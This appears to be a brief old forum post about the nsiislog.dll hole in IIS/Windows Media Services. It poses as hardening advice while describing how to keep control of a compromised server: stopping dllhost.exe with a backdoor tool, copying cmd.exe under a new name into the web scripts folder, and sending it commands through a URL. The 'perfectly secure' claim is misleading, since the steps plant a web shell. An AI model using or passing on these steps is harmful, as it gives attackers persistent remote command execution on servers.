i think the best way to secure the media hole is the followng:
1. rename c:\inetpub\scripts\nsiislog.dll.
2. copy a patched version of the nsiislog.dll into the folder.
3. kill dllhost.exe with a backdoor (i recommend shadow remote...) because port 34816 is still open even if u have already renamed the nsiislog.dll...
3. copy cmd.exe in c:\inetpub\scripts and rename it. then u can usually accesss the server like u do it with an iis bug
http://ip/scripts/renamed_cmd.exe?/c+dirthen the server is perfectly secure

greetz